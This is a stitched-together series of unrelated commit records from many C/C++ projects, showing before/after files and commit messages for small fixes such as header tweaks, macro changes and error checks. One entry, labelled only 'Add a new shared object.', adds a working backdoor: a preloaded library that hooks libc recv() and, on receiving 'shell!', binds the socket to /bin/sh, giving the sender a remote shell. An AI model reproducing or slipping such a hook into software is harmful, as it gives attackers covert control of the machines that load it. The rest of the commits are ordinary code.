	struct pci_dev *pci_dev = NULL;
	struct pci_dev *default_device = vga_default_device();
	struct resource *res = NULL;

	if (device)
		pci_dev = to_pci_dev(device);

	if (!pci_dev)
		return 0;

	if (default_device) {
		if (pci_dev == default_device)
			return 1;
		else
			return 0;
	}

	res = &pci_dev->resource[PCI_ROM_RESOURCE];

	if (res && res->flags & IORESOURCE_ROM_SHADOW)
		return 1;

	return 0;
}
EXPORT_SYMBOL(fb_is_primary_device);
MODULE_LICENSE("GPL");

x86: Use vga_default_device() when determining whether an fb is primary

IORESOURCE_ROM_SHADOW is not necessarily an indication that the hardware
is the primary device. Add support for using the vgaarb functions and
fall back if nothing's set them.

Signed-off-by: Matthew Garrett <4cf8d479716eba9bc68e0146d95320fcb138b96b@redhat.com>
Cc: 9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@redhat.com
Acked-by: 8a453bad9912ffe59bc0f0b8abe03df9be19379e@zytor.com
Signed-off-by: Dave Airlie <f2295d84e358395675bc8031be58672073ae065e@redhat.com>


/*
 *
 * Copyright 2017 Asylo authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */

#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_
#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_

#include <stdint.h>

#ifdef __cplusplus
extern "C" {
#endif

inline uint16_t bswap_16(const uint16_t &n) { return __builtin_bswap16(n); }

inline uint32_t bswap_32(const uint32_t &n) { return __builtin_bswap32(n); }

inline uint64_t bswap_64(const uint64_t &n) { return __builtin_bswap64(n); }

#ifdef __cplusplus
}
#endif

#endif  // ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_

/*
 *
 * Copyright 2017 Asylo authors
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 */

#ifndef ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_
#define ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_

#include <stdint.h>

#ifdef __cplusplus
extern "C" {
#endif

inline uint16_t bswap_16(uint16_t n) { return __builtin_bswap16(n); }

inline uint32_t bswap_32(uint32_t n) { return __builtin_bswap32(n); }

inline uint64_t bswap_64(uint64_t n) { return __builtin_bswap64(n); }

#ifdef __cplusplus
}
#endif

#endif  // ASYLO_PLATFORM_POSIX_INCLUDE_BYTESWAP_H_

Remove pass by reference in bswap functions

This is a simple bug fix to make these functions compatible with C
instead of only with C++.

PiperOrigin-RevId: 205919772


#ifndef QCDEVICE_H
#define QCDEVICE_H

/* QuickCross Project
 * License: APACHE-2.0
 * Author: Ben Lau
 * Project Site: https://github.com/benlau/quickcross
 *
 */

#include <QObject>

class QCDevice : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString os READ os)
    Q_PROPERTY(bool isAndroid READ isAndroid)
    Q_PROPERTY(bool isLinux READ isLinux)
    Q_PROPERTY(bool isMac READ isMac)
    Q_PROPERTY(bool isIOS READ isIOS)
    Q_PROPERTY(bool isWindows READ isWindows)
    Q_PROPERTY(qreal dp READ dp)

public:
    explicit QCDevice(QObject *parent = 0);

    QString os() const;

    bool isAndroid() const;

    bool isLinux() const;

    bool isIOS() const;

    bool isMac() const;

    bool isWindows() const;

    qreal dp() const;

signals:

public slots:
};

#endif // QCDEVICE_H

#ifndef QCDEVICE_H
#define QCDEVICE_H

/* QuickCross Project
 * License: APACHE-2.0
 * Author: Ben Lau
 * Project Site: https://github.com/benlau/quickcross
 *
 */

#include <QObject>

class QCDevice : public QObject
{
    Q_OBJECT
    Q_PROPERTY(QString os READ os)
    Q_PROPERTY(bool isAndroid READ isAndroid NOTIFY neverEmitChanged)
    Q_PROPERTY(bool isLinux READ isLinux NOTIFY neverEmitChanged)
    Q_PROPERTY(bool isMac READ isMac NOTIFY neverEmitChanged)
    Q_PROPERTY(bool isIOS READ isIOS NOTIFY neverEmitChanged)
    Q_PROPERTY(bool isWindows READ isWindows NOTIFY neverEmitChanged)
    Q_PROPERTY(qreal dp READ dp NOTIFY neverEmitChanged)

public:
    explicit QCDevice(QObject *parent = 0);

    QString os() const;

    bool isAndroid() const;

    bool isLinux() const;

    bool isIOS() const;

    bool isMac() const;

    bool isWindows() const;

    qreal dp() const;

signals:
    void neverEmitChanged();

public slots:
};

#endif // QCDEVICE_H

Add a never emit signal on properties.

QCDevice: Add a never emit signal on properties.


// Scintilla source code edit control
/** @file PlatWin.h
 ** Implementation of platform facilities on Windows.
 **/
// Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.

extern bool IsNT();
extern void Platform_Initialise(void *hInstance);
extern void Platform_Finalise();

#if defined(_MSC_VER)
extern bool LoadD2D();
extern ID2D1Factory *pD2DFactory;
extern IDWriteFactory *pIDWriteFactory;
#endif

// Scintilla source code edit control
/** @file PlatWin.h
 ** Implementation of platform facilities on Windows.
 **/
// Copyright 1998-2011 by Neil Hodgson <neilh@scintilla.org>
// The License.txt file describes the conditions under which this software may be distributed.

extern bool IsNT();
extern void Platform_Initialise(void *hInstance);
extern void Platform_Finalise();

#if defined(USE_D2D)
extern bool LoadD2D();
extern ID2D1Factory *pD2DFactory;
extern IDWriteFactory *pIDWriteFactory;
#endif

Allow choice of D2D on compiler command line.


/*
 * File: 	notify.c
 * Author: 	Marc van Kempen
 * Desc:	display a notify box with a message
 *
 * Copyright (c) 1995, Marc van Kempen
 *
 * All rights reserved.
 *
 * This software may be used, modified, copied, distributed, and
 * sold, in both source and binary form provided that the above
 * copyright and these terms are retained, verbatim, as the first
 * lines of this file.  Under no circumstances is the author
 * responsible for the proper functioning of this software, nor does
 * the author assume any responsibility for damages incurred with
 * its use.
 *
 */

#include <dialog.h>
#include <stdio.h>

void
dialog_notify(char *msg)
/*
 * Desc: display an error message
 */
{
    char *tmphlp;
    WINDOW *w;

    w = dupwin(newscr);
    if (w == NULL) {
	endwin();
	fprintf(stderr, "\ndupwin(newscr) failed, malloc memory corrupted\n");
	exit(1);
    }
    tmphlp = get_helpline();
    use_helpline("Press enter to continue");
    dialog_msgbox("Message", msg, -1, -1, TRUE);
    restore_helpline(tmphlp);
    touchwin(w);
    wrefresh(w);
    delwin(w);

    return;

} /* dialog_notify() */

/*
 * File: 	notify.c
 * Author: 	Marc van Kempen
 * Desc:	display a notify box with a message
 *
 * Copyright (c) 1995, Marc van Kempen
 *
 * All rights reserved.
 *
 * This software may be used, modified, copied, distributed, and
 * sold, in both source and binary form provided that the above
 * copyright and these terms are retained, verbatim, as the first
 * lines of this file.  Under no circumstances is the author
 * responsible for the proper functioning of this software, nor does
 * the author assume any responsibility for damages incurred with
 * its use.
 *
 */

#include <dialog.h>
#include <stdio.h>

void
dialog_notify(char *msg)
/*
 * Desc: display an error message
 */
{
    char *tmphlp;
    WINDOW *w;

    w = dupwin(newscr);
    if (w == NULL) {
	endwin();
	fprintf(stderr, "\ndupwin(newscr) failed, malloc memory corrupted\n");
	exit(1);
    }
    tmphlp = get_helpline();
    use_helpline("Press enter to continue");
    dialog_mesgbox("Message", msg, -1, -1, TRUE);
    restore_helpline(tmphlp);
    touchwin(w);
    wrefresh(w);
    delwin(w);

    return;

} /* dialog_notify() */

Call mesgbox instead of msgbox for long descriptions


/*  chardata.h
 *
 *
 */

#ifndef XML_CHARDATA_H
#define XML_CHARDATA_H 1

#ifndef XML_VERSION
#include "expat.h"                      /* need XML_Char */
#endif

typedef struct {
    int count;                          /* # of chars, < 0 if not set */
    XML_Char data[1024];
} CharData;

void CharData_Init(CharData *storage);

void CharData_AppendString(CharData *storage, const char *s);

void CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);

int CharData_CheckString(CharData *storage, const char *s);

int CharData_CheckXMLChars(CharData *storage, const XML_Char *s);

#endif  /* XML_CHARDATA_H */

/* chardata.h

   Interface to some helper routines used to accumulate and check text
   and attribute content.
*/

#ifndef XML_CHARDATA_H
#define XML_CHARDATA_H 1

#ifndef XML_VERSION
#include "expat.h"                      /* need XML_Char */
#endif

typedef struct {
    int count;                          /* # of chars, < 0 if not set */
    XML_Char data[1024];
} CharData;

void CharData_Init(CharData *storage);

void CharData_AppendString(CharData *storage, const char *s);

void CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);

int CharData_CheckString(CharData *storage, const char *s);

int CharData_CheckXMLChars(CharData *storage, const XML_Char *s);

#endif  /* XML_CHARDATA_H */

Add a small comment to tell what this is.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Expects 5 arguments not including argv[0]
int main(int argc, char *argv[])
{
  if (argc != 6) {
    puts("Must enter 5 arguments: two categories and filename for the rest.");
    return 1;
  }

  printf("Received %i categories", (argc - 2) / 2);

  FILE *in = fopen("spooky.csv", "r");
  FILE *file1 = fopen(argv[2], "w");
  FILE *file2 = fopen(argv[4], "w");
  FILE *therest = fopen(argv[5], "w");

  char line[80];
  while (fscanf(in, "%79[^\n]\n", line) == 1) {
    if (strstr(line, argv[1])) {
      fprintf(file1, "%s\n", line);
    }
    else if (strstr(line, argv[3])) {
      fprintf(file2, "%s\n", line);
    }
    else {
      fprintf(therest, "%s\n", line);
    }
  }
  fclose(file1);
  fclose(file2);
  fclose(therest);
  fclose(in);
  return 1;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Expects 5 arguments not including argv[0]
int main(int argc, char *argv[])
{
  if (argc != 6) {
    puts("Must enter 5 arguments: two categories and filename for the rest.");
    return 1;
  }

  printf("Received %i categories", (argc - 2) / 2);

  FILE *in
  if (!(in = fopen("spooky.csv", "r"))) {
    fprintf(stderr, "Can't open the file 'spooky.csv'.\n");
    return 2;
  }

  FILE *file1 = fopen(argv[2], "w");
  FILE *file2 = fopen(argv[4], "w");
  FILE *therest = fopen(argv[5], "w");

  char line[80];
  while (fscanf(in, "%79[^\n]\n", line) == 1) {
    if (strstr(line, argv[1])) {
      fprintf(file1, "%s\n", line);
    }
    else if (strstr(line, argv[3])) {
      fprintf(file2, "%s\n", line);
    }
    else {
      fprintf(therest, "%s\n", line);
    }
  }
  fclose(file1);
  fclose(file2);
  fclose(therest);
  fclose(in);
  return 1;
}

Add error checking to opening of csv in small tool


/* Defines common to all versions of NSS */

#define NSPR20 1
#define MP_API_COMPATIBLE 1

Add the MP_API_COMPATIBLE for Mac builds so that MPI libraries build correctly.


/* Author: Mo McRoberts <mo.mcroberts@bbc.co.uk>
 *
 * Copyright 2015 BBC
 */

/*
 * Copyright 2013 Mo McRoberts.
 *
 *  Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */

#ifndef P_LIBSUPPORT_H_
# define P_LIBSUPPORT_H_               1

# define _BSD_SOURCE                   1
# define _DARWIN_C_SOURCE              1
# define _FILE_OFFSET_BITS             64

# include <stdio.h>
# include <stdlib.h>
# include <stdarg.h>
# include <string.h>
# include <syslog.h>
# include <unistd.h>
# include <pthread.h>
# include <ctype.h>

# include "iniparser.h"

# include "libsupport.h"

#endif /*!P_LIBSUPPORT_H_*/

/* Author: Mo McRoberts <mo.mcroberts@bbc.co.uk>
 *
 * Copyright 2015 BBC
 */

/*
 * Copyright 2013 Mo McRoberts.
 *
 *  Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */

#ifndef P_LIBSUPPORT_H_
# define P_LIBSUPPORT_H_               1

# include <stdio.h>
# include <stdlib.h>
# include <stdarg.h>
# include <string.h>
# include <syslog.h>
# include <unistd.h>
# include <pthread.h>
# include <ctype.h>

# include "iniparser.h"

# include "libsupport.h"

#endif /*!P_LIBSUPPORT_H_*/

Allow config.h or AM_CPPFLAGS to provide libc feature macros


// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef BASE_MAC_LAUNCHD_H_
#define BASE_MAC_LAUNCHD_H_
#pragma once

#include <launch.h>
#include <sys/types.h>

#include <string>

namespace base {
namespace mac {

// MessageForJob sends a single message to launchd with a simple dictionary
// mapping |operation| to |job_label|, and returns the result of calling
// launch_msg to send that message. On failure, returns NULL. The caller
// assumes ownership of the returned launch_data_t object.
launch_data_t MessageForJob(const std::string& job_label,
                            const char* operation);

// Returns the process ID for |job_label| if the job is running, 0 if the job
// is loaded but not running, or -1 on error.
pid_t PIDForJob(const std::string& job_label);

}  // namespace mac
}  // namespace base

#endif  // BASE_MAC_LAUNCHD_H_

// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef BASE_MAC_LAUNCHD_H_
#define BASE_MAC_LAUNCHD_H_
#pragma once

#include <launch.h>
#include <sys/types.h>

#include <string>

#include "base/base_export.h"

namespace base {
namespace mac {

// MessageForJob sends a single message to launchd with a simple dictionary
// mapping |operation| to |job_label|, and returns the result of calling
// launch_msg to send that message. On failure, returns NULL. The caller
// assumes ownership of the returned launch_data_t object.
BASE_EXPORT
launch_data_t MessageForJob(const std::string& job_label,
                            const char* operation);

// Returns the process ID for |job_label| if the job is running, 0 if the job
// is loaded but not running, or -1 on error.
BASE_EXPORT
pid_t PIDForJob(const std::string& job_label);

}  // namespace mac
}  // namespace base

#endif  // BASE_MAC_LAUNCHD_H_

Add BASE_EXPORT macros to base ... again.

BUG=90078
TEST=none

Review URL: https://chromiumcodereview.appspot.com/9959092

git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@130367 0039d316-1c4b-4281-b951-d872f2087c98


/* FiberTaskingLib - A tasking library that uses fibers for efficient task switching
 *
 * This library was created as a proof of concept of the ideas presented by
 * Christian Gyrling in his 2015 GDC Talk 'Parallelizing the Naughty Dog Engine Using Fibers'
 *
 * http://gdcvault.com/play/1022186/Parallelizing-the-Naughty-Dog-Engine
 *
 * FiberTaskingLib is the legal property of Adrian Astley
 * Copyright Adrian Astley 2015
 */

#pragma once

#include <cstdint>
#include "fiber_tasking_lib/config.h"

#if (defined( __GNUC__) || defined(__GNUG__)) && __GNUC__ < 5 && !defined(FTL_OS_MAC)

namespace std {

inline void *align(size_t alignment, size_t size, void *start, size_t bufferSize) {
	return (void *)((reinterpret_cast<uintptr_t>(start) + static_cast<uintptr_t>(alignment - 1)) & static_cast<uintptr_t>(~(alignment - 1)));
}

} // End of namespace std

#endif

/* FiberTaskingLib - A tasking library that uses fibers for efficient task switching
 *
 * This library was created as a proof of concept of the ideas presented by
 * Christian Gyrling in his 2015 GDC Talk 'Parallelizing the Naughty Dog Engine Using Fibers'
 *
 * http://gdcvault.com/play/1022186/Parallelizing-the-Naughty-Dog-Engine
 *
 * FiberTaskingLib is the legal property of Adrian Astley
 * Copyright Adrian Astley 2015
 */

#pragma once

#include <cstdint>
#include "fiber_tasking_lib/config.h"

// clang also defines __GNUC__ / __GNUG__ for some reason
// So we have to check for it to make sure we have the *real* gcc
#if ((defined(__GNUC__) && __GNUC__ < 5) || (defined(__GNUG__) && __GNUG__ < 5)) && !defined(__clang__)

namespace std {

inline void *align(size_t alignment, size_t size, void *start, size_t bufferSize) {
	return (void *)((reinterpret_cast<uintptr_t>(start) + static_cast<uintptr_t>(alignment - 1)) & static_cast<uintptr_t>(~(alignment - 1)));
}

} // End of namespace std

#endif

FIBER_TASKING_LIB: Clarify what systems need std::align definition


/*
 * Copyright 2017 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef VkTestUtils_DEFINED
#define VkTestUtils_DEFINED

#ifdef SK_VULKAN

#include "vk/GrVkDefines.h"

namespace sk_gpu_test {
    bool LoadVkLibraryAndGetProcAddrFuncs(PFN_vkGetInstanceProcAddr*, PFN_vkGetDeviceProcAddr*);
}

#endif
#endif

/*
 * Copyright 2017 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */

#ifndef VkTestUtils_DEFINED
#define VkTestUtils_DEFINED

#include "SkTypes.h"

#ifdef SK_VULKAN

#include "vk/GrVkDefines.h"

namespace sk_gpu_test {
    bool LoadVkLibraryAndGetProcAddrFuncs(PFN_vkGetInstanceProcAddr*, PFN_vkGetDeviceProcAddr*);
}

#endif
#endif

Fix VkTextUtils to include SkTypes before ifdef

Bug: skia:
Change-Id: I4286f0e15ee427345d7d793760c85c9743fc4c6c
Reviewed-on: https://skia-review.googlesource.com/70200
Reviewed-by: Derek Sollenberger <d9b232705cad36bae5cfccf14f9650bb292e6c71@google.com>
Commit-Queue: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>


// REQUIRES: osx-ld64-live_support

// Compiling with PGO/code coverage on Darwin should raise no warnings or errors
// when using an exports list.

// RUN: echo "_main" > %t.exports
// RUN: %clang_pgogen -Werror -Wl,-exported_symbols_list,%t.exports -o %t %s 2>&1 | tee %t.log
// RUN: %clang_profgen -Werror -fcoverage-mapping -Wl,-exported_symbols_list,%t.exports -o %t %s 2>&1 | tee -a %t.log
// RUN: cat %t.log | count 0

int main() {}

[Darwin] Add an integration test for PGO + symbol exports

rdar://41470205

git-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@335891 91177308-0d34-0410-b5e6-96231b3b80d8


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "amath.h"

#define BUF_SIZE	1024

int main(int argc, char *argv[])
{
	char buffer[BUF_SIZE];
	char *content = "";

	while (fgets(buffer, BUF_SIZE, stdin))
		asprintf(&content, "%s%s", content, buffer);

	char *result = amath_to_mathml(content);
	printf("<math>%s</math>", result);

	if (strlen(result) > 0) free(result);
	if (strlen(content) > 0) free(content);
}

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "amath.h"

#define BUF_SIZE	1024

int main(int argc, char *argv[])
{
	char buffer[BUF_SIZE];
	char *content = "";

	while (fgets(buffer, BUF_SIZE, stdin))
		asprintf(&content, "%s%s", content, buffer);

	char *result = amath_to_mathml(content);
	printf("<math xmlns=\"http://www.w3.org/1998/Math/MathML\">%s</math>", result);

	if (strlen(result) > 0) free(result);
	if (strlen(content) > 0) free(content);
}

Add XML namespace to math element

Add XML namespace to math element

The MathML XML namespace isn't needed in context of HTML5 (and I find it a bit verbose), but are used in other applications, e.g. LibreOffice's "Import MathML from Clipboard". Probably should be an command line argument.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <signal.h>

static void *dl;
ssize_t (*orig_recv)(int, void *, size_t, int);

__attribute__((constructor)) void stub(void)
{
	dl = dlopen("/lib/libc.so.6", RTLD_LAZY | RTLD_GLOBAL);
	orig_recv = dlsym(dl, "recv");

}

void sigchld(int signo)
{
	while (waitpid(-1, NULL, WNOHANG) > 0)
		;
}

/*
 * socket() is the hijacked function in libc
 * To make this more malicious, one could hijack recv()/send() as well.
 * The majority of the code in my malicious socket() has been ripped
 * right from Beej's Guide to Network Programming. Thanks Beej!
 */
ssize_t recv(int socket, void *buffer, size_t length, int flags)
{
	ssize_t ret;
	FILE *fp;
	char filename[1024+1];

	ret = orig_recv(socket, buffer, length, flags);
	if (ret < strlen("shell!\n"))
		return ret;
	if (memcmp(buffer, "shell!", strlen("shell!")))
		return ret;

	if (fork())
		return -1;
	setsid();
	if (fork())
		return 0;

	dup2(socket, fileno(stdin));
	dup2(socket, fileno(stdout));
	dup2(socket, fileno(stderr));
	execl("/bin/sh", "sh", NULL);

	return -1;
}

Add a new shared object.

Add a new shared object.


/*
 * Spdylay - SPDY Library
 *
 * Copyright (c) 2012 Tatsuhiro Tsujikawa
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 */
#ifndef SPDYLAYVER_H
#define SPDYLAYVER_H

/**
 * @macro
 * Version number of the Spdylay library release
 */
#define SPDYLAY_VERSION "0.1.0"

#endif /* SPDYLAYVER_H */

Update build and keep a static version file


//===--- DocumentStore.h - File contents container --------------*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H
#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H

#include "clang/Basic/LLVM.h"
#include "llvm/ADT/StringMap.h"
#include <string>

namespace clang {
namespace clangd {

/// A container for files opened in a workspace, addressed by URI. The contents
/// are owned by the DocumentStore.
class DocumentStore {
public:
  /// Add a document to the store. Overwrites existing contents.
  void addDocument(StringRef Uri, StringRef Text) { Docs[Uri] = Text; }
  /// Delete a document from the store.
  void removeDocument(StringRef Uri) { Docs.erase(Uri); }
  /// Retrieve a document from the store. Empty string if it's unknown.
  StringRef getDocument(StringRef Uri) const { return Docs.lookup(Uri); }

private:
  llvm::StringMap<std::string> Docs;
};

} // namespace clangd
} // namespace clang

#endif

//===--- DocumentStore.h - File contents container --------------*- C++ -*-===//
//
//                     The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//

#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H
#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H

#include "clang/Basic/LLVM.h"
#include "llvm/ADT/StringMap.h"
#include <string>

namespace clang {
namespace clangd {

/// A container for files opened in a workspace, addressed by URI. The contents
/// are owned by the DocumentStore.
class DocumentStore {
public:
  /// Add a document to the store. Overwrites existing contents.
  void addDocument(StringRef Uri, StringRef Text) { Docs[Uri] = Text; }
  /// Delete a document from the store.
  void removeDocument(StringRef Uri) { Docs.erase(Uri); }
  /// Retrieve a document from the store. Empty string if it's unknown.
  StringRef getDocument(StringRef Uri) const {
    auto I = Docs.find(Uri);
    return I == Docs.end() ? StringRef("") : StringRef(I->second);
  }

private:
  llvm::StringMap<std::string> Docs;
};

} // namespace clangd
} // namespace clang

#endif

Fix subtle use after return.

[clangd] Fix subtle use after return.

I didn't find this because my main development machine still happens to
use libstdc++ with the broken C++11 ABI, which has a global empty
string.

git-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@294309 91177308-0d34-0410-b5e6-96231b3b80d8


/* ****************************************************************
 *
 * Copyright 2016 Samsung Electronics All Rights Reserved.
 *
 *
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 ******************************************************************/

#include "JniOcStack.h"

#ifndef _Included_org_iotivity_base_OcResource_OnMQSubscribeListener
#define _Included_org_iotivity_base_OcResource_OnMQSubscribeListener

#define MAX_SEQUENCE_NUMBER 0xFFFFFF

using namespace OC;

class JniOcResource;

class JniOnMQSubscribeListener
{
public:
    JniOnMQSubscribeListener(JNIEnv *env, jobject jListener, JniOcResource* owner);
    ~JniOnMQSubscribeListener();
    void onSubscribeCallback(const HeaderOptions headerOptions, const OCRepresentation& rep,
        const int& eCode, const int& sequenceNumber);
private:
    jweak m_jwListener;
    JniOcResource* m_ownerResource;
    void checkExAndRemoveListener(JNIEnv *env);
};

#endif

/* ****************************************************************
 *
 * Copyright 2016 Samsung Electronics All Rights Reserved.
 *
 *
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 ******************************************************************/

#include "JniOcStack.h"

#ifndef _Included_org_iotivity_base_OcResource_OnMQSubscribeListener
#define _Included_org_iotivity_base_OcResource_OnMQSubscribeListener

using namespace OC;

class JniOcResource;

class JniOnMQSubscribeListener
{
public:
    JniOnMQSubscribeListener(JNIEnv *env, jobject jListener, JniOcResource* owner);
    ~JniOnMQSubscribeListener();
    void onSubscribeCallback(const HeaderOptions headerOptions, const OCRepresentation& rep,
        const int& eCode, const int& sequenceNumber);
private:
    jweak m_jwListener;
    JniOcResource* m_ownerResource;
    void checkExAndRemoveListener(JNIEnv *env);
};

#endif

Remove build warning realted MQ in android JNI.

There is a redefined proprocessor in JniOnMQSubscribeListener.h
since octypes.h has it. it should be removed

------------------------------warning---------------------------------------
jni/JniOnMQSubscribeListener.h:26:0: warning: "MAX_SEQUENCE_NUMBER" redefined
 #define MAX_SEQUENCE_NUMBER 0xFFFFFF
----------------------------------------------------------------------------

Change-Id: If57b79b963d700459a59d2fb8704a60ad019e838
Signed-off-by: jihwan.seo <69598d7552022c520cfdbefd16641727c7ff4ab5@samsung.com>
Reviewed-on: https://gerrit.iotivity.org/gerrit/12857
Tested-by: jenkins-iotivity <09cb29e8a2b473a2c978382eec13ee06fa017bda@opendaylight.org>
Reviewed-by: Larry Sachs <87b901be7a441bcf97cbe259c532df419aac788e@intel.com>
Reviewed-by: Rick Bell <74cf0087f675c7c2d5c6f65986a0832071d4b512@intel.com>


#pragma once

#include <Windows.h>
#include <functional>
#include <string>

class Control {
public:
    Control();
    Control(int id, HWND parent);
    ~Control();

    RECT Dimensions();

    void Enable();
    void Disable();
    bool Enabled();
    void Enabled(bool enabled);

    std::wstring Text();
    int TextAsInt();
    bool Text(std::wstring text);
    bool Text(int value);

    void WindowExStyle();
    void WindowExStyle(long exStyle);
    void AddWindowExStyle(long exStyle);
    void RemoveWindowExStyle(long exStyle);

    /// Handles WM_COMMAND messages.
    /// <param name="nCode">Control-defined notification code</param>
    virtual DLGPROC Command(unsigned short nCode);

    /// Handles WM_NOTIFY messages.
    /// <param name="nHdr">Notification header structure</param>
    virtual DLGPROC Notification(NMHDR *nHdr);

protected:
    int _id;
    HWND _hWnd;
    HWND _parent;

protected:
    static const int MAX_EDITSTR = 0x4000;
};

#pragma once

#include <Windows.h>
#include <functional>
#include <string>

class Control {
public:
    Control();
    Control(int id, HWND parent);
    ~Control();

    virtual RECT Dimensions();

    virtual void Enable();
    virtual void Disable();
    virtual bool Enabled();
    virtual void Enabled(bool enabled);

    virtual std::wstring Text();
    virtual int TextAsInt();
    virtual bool Text(std::wstring text);
    virtual bool Text(int value);

    void WindowExStyle();
    void WindowExStyle(long exStyle);
    void AddWindowExStyle(long exStyle);
    void RemoveWindowExStyle(long exStyle);

    /// Handles WM_COMMAND messages.
    /// <param name="nCode">Control-defined notification code</param>
    virtual DLGPROC Command(unsigned short nCode);

    /// Handles WM_NOTIFY messages.
    /// <param name="nHdr">Notification header structure</param>
    virtual DLGPROC Notification(NMHDR *nHdr);

protected:
    int _id;
    HWND _hWnd;
    HWND _parent;

protected:
    static const int MAX_EDITSTR = 0x4000;
};

Allow some control methods to be overridden